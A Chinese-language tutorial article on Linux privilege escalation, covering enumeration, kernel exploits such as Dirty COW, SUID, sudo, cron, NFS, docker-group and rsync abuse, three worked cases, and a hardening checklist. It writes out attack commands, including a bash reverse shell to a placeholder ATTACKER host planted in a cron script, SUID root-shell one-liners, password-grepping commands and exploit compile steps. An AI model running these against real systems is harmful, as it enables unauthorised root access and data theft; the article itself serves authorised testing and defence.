首页主机资讯Linux exploit利用技巧与实战案例

Linux exploit利用技巧与实战案例

时间2026-01-19 06:25:04发布访客分类主机资讯浏览1106
导读:Linux Exploit 利用技巧与实战案例 一、提权总览与信息收集 目标:从低权限 Shell 稳定过渡到 root,优先寻找“低成本、高成功率”的路径(配置错误 > 本地内核漏洞)。 快速信息收集清单(示例命令): 系统与内...

Linux Exploit 利用技巧与实战案例

一、提权总览与信息收集

  • 目标:从低权限 Shell 稳定过渡到 root,优先寻找“低成本、高成功率”的路径(配置错误 > 本地内核漏洞)。
  • 快速信息收集清单(示例命令):
    • 系统与内核:uname -acat /etc/os-releasecat /proc/version
    • 权限与身份:idsudo -lenv | grep -i path
    • 特权程序:find / -perm -u=s -type f 2> /dev/nullfind / -perm -g=s -type f 2> /dev/null
    • 计划任务:cat /etc/crontabls -la /etc/cron*
    • 网络与挂载:netstat -tulpnmount | grep nfs
    • 日志与敏感文件:tail /var/log/auth.loggrep -Ri password /var/www /home 2> /dev/null
  • 自动化与辅助工具:
    • 枚举与提权建议:LinEnum、linuxprivchecker、linux-exploit-suggester / les.sh、LinPEAS
    • 二进制滥用速查:GTFOBins
    • 进程与定时观察:pspy
      以上命令与工具覆盖系统识别、权限枚举、服务与任务巡检,是后续选择利用路径的基础。

二、常见提权路径与利用要点

  • 内核漏洞提权
    • 思路:匹配 内核版本/发行版 → 本地编译执行 EXP。
    • 经典案例:Dirty COW(CVE-2016-5195),影响广泛,低权限可写只读映射实现提权;步骤:searchsploit dirtycow → 上传/编译 → 执行获取 root。
  • SUID/GUID 滥用
    • 思路:定位 root 所有且含 SUID 的程序,利用已知“滥用方式”逃逸到 root。
    • 常用命令:find / -perm -u=s -type f 2> /dev/null
    • 典型例子:find . -exec /bin/sh -p \; -quitvim.tiny -c ':py import os; os.setuid(0); os.execl("/bin/sh","sh")'
    • 速查:GTFOBins 列出常见二进制的提权方法。
  • sudo 配置错误
    • 思路:sudo -l 发现 NOPASSWD 或弱权限条目,直接提升到 root。
    • 典型:sudo /bin/bashsudo su -;或 sudo vim -c ':!/bin/sh'
  • 计划任务 Cron
    • 思路:可写脚本/目录、通配符注入、环境变量劫持等。
    • 典型:echo 'bash -i > & /dev/tcp/ATTACKER/4444 0> & 1' > > /opt/scripts/backup.sh;或 tar 通配符注入执行任意命令。
  • NFS no_root_squash
    • 思路:共享目录开启 no_root_squash,在挂载点创建 SUID shell,目标机执行即获 root。
    • 步骤:挂载共享 → cp /bin/bash /mnt/shell & & chmod u+s /mnt/shell → 目标机执行 /tmp/mount/shell -p
  • Docker 组滥用
    • 思路:用户在 docker 组,挂载宿主根目录并 chroot/mnt 即获 root 视角。
    • 步骤:docker run -v /:/mnt -it alpine chroot /mnt bash
  • 第三方服务与组件
    • Rsync 未授权rsync rsync://IP:873/src 列模块/拉文件;上传恶意脚本至 /etc/cron.hourly 等被 root 定时执行的目录,等待触发反弹 Shell。
    • sudo 堆溢出(CVE-2021-3156,Baron Samedit)sudoedit -s / 报错特征;使用社区 PoC 编译执行获取 root。
    • Polkit 提权(CVE-2021-4034,PwnKit)dpkg -l policykit-1 确认;编译执行 PoC 直接提权。
      以上路径覆盖内核、权限位、sudo、计划任务、共享存储、容器与常见服务,是实战中最常见的提权面。

三、实战案例精选

  • 案例一:SUID find 滥用到 root
    • 步骤:
      1. 枚举:find / -perm -u=s -type f 2> /dev/null | grep find
      2. 利用:find /tmp -exec /bin/sh -p \; -quit
      3. 稳定交互:python -c 'import pty; pty.spawn("/bin/bash")'
    • 要点:-p 保留有效用户 ID,确保获得 root 权限 Shell。
  • 案例二:Cron + Rsync 未授权到 root
    • 步骤:
      1. 探测:rsync rsync://IP:873/src
      2. 投递:rsync -av shell.sh rsync://IP:873/src/etc/cron.hourly/
      3. 监听:nc -lvnp 4444,等待 cron.hourly 触发
    • 要点:确认目标 root 定时任务会执行该目录脚本,且当前可写/可覆盖。
  • 案例三:内核漏洞 Dirty COW 提权
    • 步骤:
      1. 识别:uname -acat /etc/os-release
      2. 获取 EXP:searchsploit dirtycow 或 Exploit-DB
      3. 编译:gcc -pthread dirty.c -o dirty -lcrypt
      4. 执行:./dirty(部分 EXP 会创建 root 可登录账户)
    • 要点:老旧内核/发行版成功率更高;编译环境与架构需匹配。
      以上案例对应常见、稳定的提权链路,适合在授权测试中优先尝试。

四、防御与加固清单

  • 系统与内核
    • 及时更新补丁,启用 内核实时补丁(Livepatch);最小化内核模块与自编译内核。
  • 权限最小化
    • 清理不必要的 SUID/SGIDfind / -perm -u=s -type f -exec chmod u-s { } \;
    • 严格审计 /etc/sudoers,避免 NOPASSWD: ALL 与过度授权;按需使用 sudo 组而非 root 直接登录。
  • 计划任务与服务
    • 限制 /etc/cron.*、/var/spool/cron 的写权限;脚本使用绝对路径与受限权限运行;避免通配符注入与可写目录参与任务执行。
  • 共享与容器
    • NFS 默认禁用或启用 root_squash;隔离共享目录与敏感路径。
    • 谨慎将用户加入 docker 组;必要时采用 rootless 容器或最小权限容器运行时。
  • 第三方组件
    • 及时升级 sudo、polkit、rsync、内核 等;对公网暴露服务最小化与加固(鉴权、访问控制、最小端口开放)。
  • 监测与响应
    • 集中审计 /var/log/auth.log、syslog 等;部署 文件完整性监控(FIM)EDR/主机加固;对异常 SUID、可疑 Cron 脚本、异常子进程与网络连接进行告警。
      以上措施能显著降低被提权面与攻击成功率,覆盖系统、权限、任务、共享、容器与组件的全链路风险。

合规与免责声明

  • 本内容仅用于 授权渗透测试、红队演练与安全研究。对未授权系统进行测试或利用属于违法行为,可能导致 数据泄露、业务中断与法律责任。进行任何测试前请确保已获得 系统所有者明确书面授权,并在可控范围内开展。

声明:本文内容由网友自发贡献,本站不承担相应法律责任。对本内容有异议或投诉,请联系2913721942#qq.com核实处理,我们将尽快回复您,谢谢合作!


若转载请注明出处: Linux exploit利用技巧与实战案例
本文地址: https://pptw.com/jishu/785335.html
Linux exploit攻击路径分析 Linux exploit利用案例分析与总结

游客 回复需填写必要信息